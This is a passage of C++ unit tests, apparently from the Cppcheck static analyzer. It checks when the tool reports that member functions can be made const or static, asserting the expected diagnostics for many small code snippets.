ASSERT_EQUALS(\"[test.cpp:8:14] -> [test.cpp:10:16]: (performance, inconclusive) Technically the member function 'NS::Fred::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"namespace NS {\\n\"\n \" class Fred\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" struct AB {\\n\"\n \" struct CD { };\\n\"\n \" };\\n\"\n \" bool f(AB::CD * cd);\\n\"\n \" };\\n\"\n \"}\\n\"\n \"bool NS::Fred::f(NS::Fred::AB::CD * cd)\\n\"\n \"{\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"[test.cpp:8:14] -> [test.cpp:11:16]: (performance, inconclusive) Technically the member function 'NS::Fred::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"class Foo {\\n\"\n \" class Fred\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" struct AB {\\n\"\n \" struct CD { };\\n\"\n \" };\\n\"\n \" bool f(AB::CD * cd);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"bool Foo::Fred::f(Foo::Fred::AB::CD * cd)\\n\"\n \"{\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"[test.cpp:8:14] -> [test.cpp:11:17]: (performance, inconclusive) Technically the member function 'Foo::Fred::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n void const43() { // ticket 2377\n checkConst(\"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" void foo( AA::BB::CC::DD b );\\n\"\n \" AA::BB::CC::DD a;\\n\"\n \"};\\n\"\n \"void A::foo( AA::BB::CC::DD b )\\n\"\n \"{\\n\"\n \" a = b;\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"namespace AA\\n\"\n \"{\\n\"\n \" namespace BB\\n\"\n \" {\\n\"\n \" namespace CC\\n\"\n \" {\\n\"\n \" struct DD\\n\"\n \" {};\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\"\n \"class A\\n\"\n \"{\\n\"\n \" public:\\n\"\n \"\\n\"\n \" AA::BB::CC::DD a;\\n\"\n \" void foo(AA::BB::CC::DD b)\\n\"\n \" {\\n\"\n \" a = b;\\n\"\n \" }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"namespace ZZ\\n\"\n \"{\\n\"\n \" namespace YY\\n\"\n \" {\\n\"\n \" struct XX\\n\"\n \" {};\\n\"\n \" }\\n\"\n \"}\\n\"\n \"class B\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" ZZ::YY::XX a;\\n\"\n \" void foo(ZZ::YY::XX b)\\n\"\n \" {\\n\"\n \" a = b;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const44() { // ticket 2595\n checkConst(\"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" bool bOn;\\n\"\n \" bool foo()\\n\"\n \" {\\n\"\n \" return 0 != (bOn = bOn);\\n\"\n \" }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const45() { // ticket 2664\n checkConst(\"namespace wraps {\\n\"\n \" class BaseLayout {};\\n\"\n \"}\\n\"\n \"namespace tools {\\n\"\n \" class WorkspaceControl :\\n\"\n \" public wraps::BaseLayout\\n\"\n \" {\\n\"\n \" int toGrid(int _value)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" };\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"[test.cpp:8:13]: (performance, inconclusive) Technically the member function 'tools::WorkspaceControl::toGrid' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n void const46() { // ticket 2663\n checkConst(\"class Altren {\\n\"\n \"public:\\n\"\n \" int fun1() {\\n\"\n \" int a;\\n\"\n \" a++;\\n\"\n \" }\\n\"\n \" int fun2() {\\n\"\n \" b++;\\n\"\n \" }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"[test.cpp:3:9]: (performance, inconclusive) Technically the member function 'Altren::fun1' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:7:9]: (performance, inconclusive) Technically the member function 'Altren::fun2' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n void const47() { // ticket 2670\n checkConst(\"class Altren {\\n\"\n \"public:\\n\"\n \" void foo() { delete this; }\\n\"\n \" void foo(int i) const { }\\n\"\n \" void bar() { foo(); }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"[test.cpp:4:8]: (performance, inconclusive) Technically the member function 'Altren::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"class Altren {\\n\"\n \"public:\\n\"\n \" void foo() { delete this; }\\n\"\n \" void foo(int i) const { }\\n\"\n \" void bar() { foo(1); }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"[test.cpp:4:8]: (performance, inconclusive) Technically the member function 'Altren::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:5:8]: (style, inconclusive) Technically the member function 'Altren::bar' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const48() { // ticket 2672\n checkConst(\"class S0 {\\n\"\n \" class S1 {\\n\"\n \" class S2 {\\n\"\n \" class S3 {\\n\"\n \" class S4 { };\\n\"\n \" };\\n\"\n \" };\\n\"\n \" };\\n\"\n \"};\\n\"\n \"class TextIterator {\\n\"\n \" S0::S1::S2::S3::S4 mCurrent, mSave;\\n\"\n \"public:\\n\"\n \" bool setTagColour();\\n\"\n \"};\\n\"\n \"bool TextIterator::setTagColour() {\\n\"\n \" mSave = mCurrent;\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const49() { // ticket 2795\n checkConst(\"class A {\\n\"\n \" private:\\n\"\n \" std::map _hash;\\n\"\n \" public:\\n\"\n \" A() : _hash() {}\\n\"\n \" unsigned int fetch(unsigned int key)\\n\" // cannot be 'const'\n \" {\\n\"\n \" return _hash[key];\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const50() { // ticket 2943\n checkConst(\"class Altren\\n\"\n \"{\\n\"\n \" class SubClass : public std::vector\\n\"\n \" {\\n\"\n \" };\\n\"\n \"};\\n\"\n \"void _setAlign()\\n\"\n \"{\\n\"\n \" if (mTileSize.height > 0) return;\\n\"\n \" if (mEmptyView) return;\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const51() { // ticket 3040\n checkConst(\"class PSIPTable {\\n\"\n \"public:\\n\"\n \" PSIPTable() : _pesdata(0) { }\\n\"\n \" const unsigned char* pesdata() const { return _pesdata; }\\n\"\n \" unsigned char* pesdata() { return _pesdata; }\\n\"\n \" void SetSection(uint num) { pesdata()[6] = num; }\\n\"\n \"private:\\n\"\n \" unsigned char *_pesdata;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class PESPacket {\\n\"\n \"public:\\n\"\n \" PESPacket() : _pesdata(0) { }\\n\"\n \" const unsigned char* pesdata() const { return _pesdata; }\\n\"\n \" unsigned char* pesdata() { return _pesdata; }\\n\"\n \"private:\\n\"\n \" unsigned char *_pesdata;\\n\"\n \"};\\n\"\n \"class PSIPTable : public PESPacket\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" void SetSection(uint num) { pesdata()[6] = num; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const52() { // ticket 3048\n checkConst(\"class foo {\\n\"\n \" void DoSomething(int &a) const { a = 1; }\\n\"\n \" void DoSomethingElse() { DoSomething(bar); }\\n\"\n \"private:\\n\"\n \" int bar;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (performance, inconclusive) Technically the member function 'foo::DoSomething' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n void const53() { // ticket 3049\n checkConst(\"class A {\\n\"\n \" public:\\n\"\n \" A() : foo(false) {};\\n\"\n \" virtual bool One(bool b = false) { foo = b; return false; }\\n\"\n \" private:\\n\"\n \" bool foo;\\n\"\n \"};\\n\"\n \"class B : public A {\\n\"\n \" public:\\n\"\n \" B() {};\\n\"\n \" bool One(bool b = false) { return false; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const54() { // ticket 3052\n checkConst(\"class Example {\\n\"\n \" public:\\n\"\n \" void Clear(void) { Example tmp; (*this) = tmp; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const55() {\n checkConst(\"class MyObject {\\n\"\n \" int tmp;\\n\"\n \" MyObject() : tmp(0) {}\\n\"\n \"public:\\n\"\n \" void set(std::stringstream &in) { in >> tmp; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const56() { // ticket #3149\n checkConst(\"class MyObject {\\n\"\n \"public:\\n\"\n \" void foo(int x) {\\n\"\n \" switch (x) { }\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'MyObject::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"class A\\n\"\n \"{\\n\"\n \" protected:\\n\"\n \" unsigned short f (unsigned short X);\\n\"\n \" public:\\n\"\n \" A ();\\n\"\n \"};\\n\"\n \"\\n\"\n \"unsigned short A::f (unsigned short X)\\n\"\n \"{\\n\"\n \" enum ERetValues {RET_NOK = 0, RET_OK = 1};\\n\"\n \" enum ETypes {FLOAT_TYPE = 1, INT_TYPE = 2};\\n\"\n \"\\n\"\n \" try\\n\"\n \" {\\n\"\n \" switch (X)\\n\"\n \" {\\n\"\n \" case FLOAT_TYPE:\\n\"\n \" {\\n\"\n \" return RET_OK;\\n\"\n \" }\\n\"\n \" case INT_TYPE:\\n\"\n \" {\\n\"\n \" return RET_OK;\\n\"\n \" }\\n\"\n \" default:\\n\"\n \" {\\n\"\n \" return RET_NOK;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" }\\n\"\n \" catch (...)\\n\"\n \" {\\n\"\n \" return RET_NOK;\\n\"\n \" }\\n\"\n \"\\n\"\n \" return RET_NOK;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:24] -> [test.cpp:9:19]: (performance, inconclusive) Technically the member function 'A::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"class MyObject {\\n\"\n \"public:\\n\"\n \" void foo(int x) {\\n\"\n \" for (int i = 0; i < 5; i++) { }\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'MyObject::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n void const57() { // tickets #2669 and #2477\n checkConst(\"namespace MyGUI\\n\"\n \"{\\n\"\n \" namespace types\\n\"\n \" {\\n\"\n \" struct TSize {};\\n\"\n \" struct TCoord {\\n\"\n \" TSize size() const { }\\n\"\n \" };\\n\"\n \" }\\n\"\n \" typedef types::TSize IntSize;\\n\"\n \" typedef types::TCoord IntCoord;\\n\"\n \"}\\n\"\n \"class SelectorControl\\n\"\n \"{\\n\"\n \" MyGUI::IntSize getSize()\\n\"\n \" {\\n\"\n \" return mCoordValue.size();\\n\"\n \" }\\n\"\n \"private:\\n\"\n \" MyGUI::IntCoord mCoordValue;\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:7:13]: (performance, inconclusive) Technically the member function 'MyGUI::types::TCoord::size' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:15]: (style, inconclusive) Technically the member function 'SelectorControl::getSize' can be const.\\n\",\n \"[test.cpp:7:13]: (performance, inconclusive) Technically the member function 'MyGUI::types::TCoord::size' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct Foo {\\n\"\n \" Bar b;\\n\"\n \" void foo(Foo f) {\\n\"\n \" b.run();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct Bar {\\n\"\n \" int i = 0;\\n\"\n \" void run() { i++; }\\n\"\n \"};\\n\"\n \"struct Foo {\\n\"\n \" Bar b;\\n\"\n \" void foo(Foo f) {\\n\"\n \" b.run();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct Bar {\\n\"\n \" void run() const { }\\n\"\n \"};\\n\"\n \"struct Foo {\\n\"\n \" Bar b;\\n\"\n \" void foo(Foo f) {\\n\"\n \" b.run();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (performance, inconclusive) Technically the member function 'Bar::run' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:6:10]: (style, inconclusive) Technically the member function 'Foo::foo' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const58() {\n checkConst(\"struct MyObject {\\n\"\n \" void foo(Foo f) {\\n\"\n \" f.clear();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (performance, inconclusive) Technically the member function 'MyObject::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct MyObject {\\n\"\n \" int foo(Foo f) {\\n\"\n \" return f.length();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (performance, inconclusive) Technically the member function 'MyObject::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct MyObject {\\n\"\n \" Foo f;\\n\"\n \" int foo() {\\n\"\n \" return f.length();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct MyObject {\\n\"\n \" std::string f;\\n\"\n \" int foo() {\\n\"\n \" return f.length();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style, inconclusive) Technically the member function 'MyObject::foo' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const59() { // ticket #4646\n checkConst(\"class C {\\n\"\n \"public:\\n\"\n \" inline void operator += (const int &x ) { re += x; }\\n\"\n \" friend inline void exp(C & c, const C & x) { }\\n\"\n \"protected:\\n\"\n \" int re;\\n\"\n \" int im;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const60() { // ticket #3322\n checkConst(\"class MyString {\\n\"\n \"public:\\n\"\n \" MyString() : m_ptr(0){}\\n\"\n \" MyString& operator+=( const MyString& rhs ) {\\n\"\n \" delete m_ptr;\\n\"\n \" m_ptr = new char[42];\\n\"\n \" }\\n\"\n \" MyString append( const MyString& str )\\n\"\n \" { return operator+=( str ); }\\n\"\n \" char *m_ptr;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n checkConst(\"class MyString {\\n\"\n \"public:\\n\"\n \" MyString() : m_ptr(0){}\\n\"\n \" MyString& operator+=( const MyString& rhs );\\n\"\n \" MyString append( const MyString& str )\\n\"\n \" { return operator+=( str ); }\\n\"\n \" char *m_ptr;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const61() { // ticket #5606 - don't crash\n // this code is invalid so a false negative is OK\n checkConst(\"class MixerParticipant : public MixerParticipant {\\n\"\n \" int GetAudioFrame();\\n\"\n \"};\\n\"\n \"int MixerParticipant::GetAudioFrame() {\\n\"\n \" return 0;\\n\"\n \"}\");\n\n // this code is invalid so a false negative is OK\n checkConst(\"class MixerParticipant : public MixerParticipant {\\n\"\n \" bool InitializeFileReader() {\\n\"\n \" printf(\\\"music\\\");\\n\"\n \" }\\n\"\n \"};\");\n\n // Based on an example from SVN source code causing an endless recursion within CheckClass::isConstMemberFunc()\n // A more complete example including a template declaration like\n // template class Hash{/* ... */};\n // didn't .\n checkConst(\"template<>\\n\"\n \"class Hash {\\n\"\n \"protected:\\n\"\n \" typedef Key::key_type key_type;\\n\"\n \" void set(const Key& key);\\n\"\n \"};\\n\"\n \"template\\n\"\n \"class Hash : private Hash {\\n\"\n \" typedef Hash inherited;\\n\"\n \" void set(const Key& key) {\\n\"\n \" inherited::set(inherited::Key(key));\\n\"\n \" }\\n\"\n \"};\\n\", dinit(CheckConstOptions, $.inconclusive = false));\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:4:23]: (performance, inconclusive) Either there is a missing 'override', or the member function 'MixerParticipant::GetAudioFrame' can be static. [functionStatic]\\n\",\n errout_str());\n }\n\n void const62() {\n checkConst(\"class A {\\n\"\n \" private:\\n\"\n \" std::unordered_map _hash;\\n\"\n \" public:\\n\"\n \" A() : _hash() {}\\n\"\n \" unsigned int fetch(unsigned int key)\\n\" // cannot be 'const'\n \" {\\n\"\n \" return _hash[key];\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const63() {\n checkConst(\"struct A {\\n\"\n \" std::string s;\\n\"\n \" void clear() {\\n\"\n \" std::string* p = &s;\\n\"\n \" p->clear();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct A {\\n\"\n \" std::string s;\\n\"\n \" void clear() {\\n\"\n \" std::string& r = s;\\n\"\n \" r.clear();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct A {\\n\"\n \" std::string s;\\n\"\n \" void clear() {\\n\"\n \" std::string& r = sth; r = s;\\n\"\n \" r.clear();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'A::clear' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"struct A {\\n\"\n \" std::string s;\\n\"\n \" void clear() {\\n\"\n \" const std::string* p = &s;\\n\"\n \" p->somefunction();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'A::clear' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"struct A {\\n\"\n \" std::string s;\\n\"\n \" void clear() {\\n\"\n \" const std::string& r = s;\\n\"\n \" r.somefunction();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'A::clear' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const64() {\n checkConst(\"namespace B {\\n\"\n \" namespace D {\\n\"\n \" typedef int DKIPtr;\\n\"\n \" }\\n\"\n \" class ZClass {\\n\"\n \" void set(const ::B::D::DKIPtr& p) {\\n\"\n \" membervariable = p;\\n\"\n \" }\\n\"\n \" ::B::D::DKIPtr membervariable;\\n\"\n \" };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const65() {\n checkConst(\"template \\n\"\n \"class TemplateClass {\\n\"\n \"public:\\n\"\n \" TemplateClass() { }\\n\"\n \"};\\n\"\n \"template <>\\n\"\n \"class TemplateClass {\\n\"\n \"public:\\n\"\n \" TemplateClass() { }\\n\"\n \"};\\n\"\n \"int main() {\\n\"\n \" TemplateClass a;\\n\"\n \" TemplateClass b;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const66() {\n checkConst(\"struct C {\\n\"\n \" C() : n(0) {}\\n\"\n \" void f(int v) { g((char *) &v); }\\n\"\n \" void g(char *) { n++; }\\n\"\n \" int n;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const67() { // #9193\n checkConst(\"template >\\n\"\n \"class TestList {\\n\"\n \"public:\\n\"\n \" LIST_T m_list;\\n\"\n \"};\\n\"\n \"class Test {\\n\"\n \"public:\\n\"\n \" const std::list>& get() { return m_test.m_list; }\\n\"\n \" TestList> m_test;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:8:44]: (style, inconclusive) Technically the member function 'Test::get' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const68() { // #6471\n checkConst(\"class MyClass {\\n\"\n \" void clear() {\\n\"\n \" SVecPtr v = (SVecPtr) m_data;\\n\"\n \" v->clear();\\n\"\n \" }\\n\"\n \" void* m_data;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const69() { // #9806\n checkConst(\"struct A {\\n\"\n \" int a = 0;\\n\"\n \" template void call(const Args &... args) { a = 1; }\\n\"\n \" template auto call(const Args &... args) -> T {\\n\"\n \" a = 2;\\n\"\n \" return T{};\\n\"\n \" }\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct B : public A {\\n\"\n \" void test() {\\n\"\n \" call();\\n\"\n \" call(1, 2, 3);\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const70() {\n checkConst(\"struct A {\\n\"\n \" template void call(Args ... args) {\\n\"\n \" func(this);\\n\"\n \" }\\n\"\n \"\\n\"\n \" void test() {\\n\"\n \" call(1, 2);\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const71() { // #10146\n checkConst(\"struct Bar {\\n\"\n \" int j = 5;\\n\"\n \" void f(int& i) const { i += j; }\\n\"\n \"};\\n\"\n \"struct Foo {\\n\"\n \" Bar bar;\\n\"\n \" int k{};\\n\"\n \" void g() { bar.f(k); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" A a;\\n\"\n \" void f(int j, int*& p) {\\n\"\n \" p = &(((a[j])));\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const72() { // #10520\n checkConst(\"struct S {\\n\"\n \" explicit S(int* p) : mp(p) {}\\n\"\n \" int* mp{};\\n\"\n \"};\\n\"\n \"struct C {\\n\"\n \" int i{};\\n\"\n \" S f() { return S{ &i }; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" explicit S(int* p) : mp(p) {}\\n\"\n \" int* mp{};\\n\"\n \"};\\n\"\n \"struct C {\\n\"\n \" int i{};\\n\"\n \" S f() { return S(&i); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" int* mp{};\\n\"\n \"};\\n\"\n \"struct C {\\n\"\n \" int i{};\\n\"\n \" S f() { return S{ &i }; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" int* mp{};\\n\"\n \"};\\n\"\n \"struct C {\\n\"\n \" int i{};\\n\"\n \" S f() { return { &i }; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" explicit S(const int* p) : mp(p) {}\\n\"\n \" const int* mp{};\\n\"\n \"};\\n\"\n \"struct C {\\n\"\n \" int i{};\\n\"\n \" S f() { return S{ &i }; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:7]: (style, inconclusive) Technically the member function 'C::f' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" explicit S(const int* p) : mp(p) {}\\n\"\n \" const int* mp{};\\n\"\n \"};\\n\"\n \"struct C {\\n\"\n \" int i{};\\n\"\n \" S f() { return S(&i); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:7]: (style, inconclusive) Technically the member function 'C::f' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" const int* mp{};\\n\"\n \"};\\n\"\n \"struct C {\\n\"\n \" int i{};\\n\"\n \" S f() { return S{ &i }; }\\n\"\n \"};\\n\");\n TODO_ASSERT_EQUALS(\"[test.cpp:7:7]: (style, inconclusive) Technically the member function 'C::f' can be const. [functionConst]\\n\", \"\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" const int* mp{};\\n\"\n \"};\\n\"\n \"struct C {\\n\"\n \" int i{};\\n\"\n \" S f() { return { &i }; }\\n\"\n \"};\\n\");\n TODO_ASSERT_EQUALS(\"[test.cpp:7:7]: (style, inconclusive) Technically the member function 'C::f' can be const. [functionConst]\\n\", \"\", errout_str());\n }\n\n void const73() {\n checkConst(\"struct A {\\n\"\n \" int* operator[](int i);\\n\"\n \" const int* operator[](int i) const;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" A a;\\n\"\n \" void f(int j) {\\n\"\n \" int* p = a[j];\\n\"\n \" *p = 0;\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\" // #10758\n \" T* h;\\n\"\n \" void f(); \\n\"\n \"};\\n\"\n \"void S::f() {\\n\"\n \" char* c = h->x[y];\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:5:9]: (style, inconclusive) Technically the member function 'S::f' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const74() { // #10671\n checkConst(\"class A {\\n\"\n \" std::vector m_str;\\n\"\n \"public:\\n\"\n \" A() {}\\n\"\n \" void bar(void) {\\n\"\n \" for(std::vector::const_iterator it = m_str.begin(); it != m_str.end(); ++it) {;}\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (style, inconclusive) Technically the member function 'A::bar' can be const. [functionConst]\\n\", errout_str());\n\n // Don't crash\n checkConst(\"struct S {\\n\"\n \" std::vector v;\\n\"\n \" void f() const;\\n\"\n \"};\\n\"\n \"void S::f() const {\\n\"\n \" for (std::vector::const_iterator it = v.begin(), end = v.end(); it != end; ++it) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const75() { // #10065\n checkConst(\"namespace N { int i = 0; }\\n\"\n \"struct S {\\n\"\n \" int i;\\n\"\n \" void f() {\\n\"\n \" if (N::i) {}\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (performance, inconclusive) Technically the member function 'S::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int i = 0;\\n\"\n \"struct S {\\n\"\n \" int i;\\n\"\n \" void f() {\\n\"\n \" if (::i) {}\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (performance, inconclusive) Technically the member function 'S::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"namespace N {\\n\"\n \" struct S {\\n\"\n \" int i;\\n\"\n \" void f() {\\n\"\n \" if (N::S::i) {}\\n\"\n \" }\\n\"\n \" };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (style, inconclusive) Technically the member function 'N::S::f' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const76() { // #10825\n checkConst(\"struct S {\\n\"\n \" enum E {};\\n\"\n \" void f(const T* t);\\n\"\n \" E e;\\n\"\n \"};\\n\"\n \"struct T { void e(); };\\n\"\n \"void S::f(const T* t) {\\n\"\n \" const_cast(t)->e();\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:7:9]: (performance, inconclusive) Technically the member function 'S::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\",\n errout_str());\n }\n\n void const77() {\n checkConst(\"template \\n\" // #10307\n \"struct S {\\n\"\n \" std::vector const* f() const { return p; }\\n\"\n \" std::vector const* p;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\" // #10311\n \" std::vector v;\\n\"\n \" std::vector& f() { return v; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const78() { // #10315\n checkConst(\"struct S {\\n\"\n \" typedef void(S::* F)();\\n\"\n \" void g(F f);\\n\"\n \"};\\n\"\n \"void S::g(F f) {\\n\"\n \" (this->*f)();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" using F = void(S::*)();\\n\"\n \" void g(F f);\\n\"\n \"};\\n\"\n \"void S::g(F f) {\\n\"\n \" (this->*f)();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const79() { // #9861\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" char* f() {\\n\"\n \" return nullptr;\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (performance, inconclusive) Technically the member function 'A::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\",\n errout_str());\n }\n\n void const80() { // #11328\n checkConst(\"struct B { static void b(); };\\n\"\n \"struct S : B {\\n\"\n \" static void f() {}\\n\"\n \" void g() const;\\n\"\n \" void h();\\n\"\n \" void k();\\n\"\n \" void m();\\n\"\n \" void n();\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"void S::g() const {\\n\"\n \" this->f();\\n\"\n \"}\\n\"\n \"void S::h() {\\n\"\n \" this->f();\\n\"\n \"}\\n\"\n \"void S::k() {\\n\"\n \" if (i)\\n\"\n \" this->f();\\n\"\n \"}\\n\"\n \"void S::m() {\\n\"\n \" 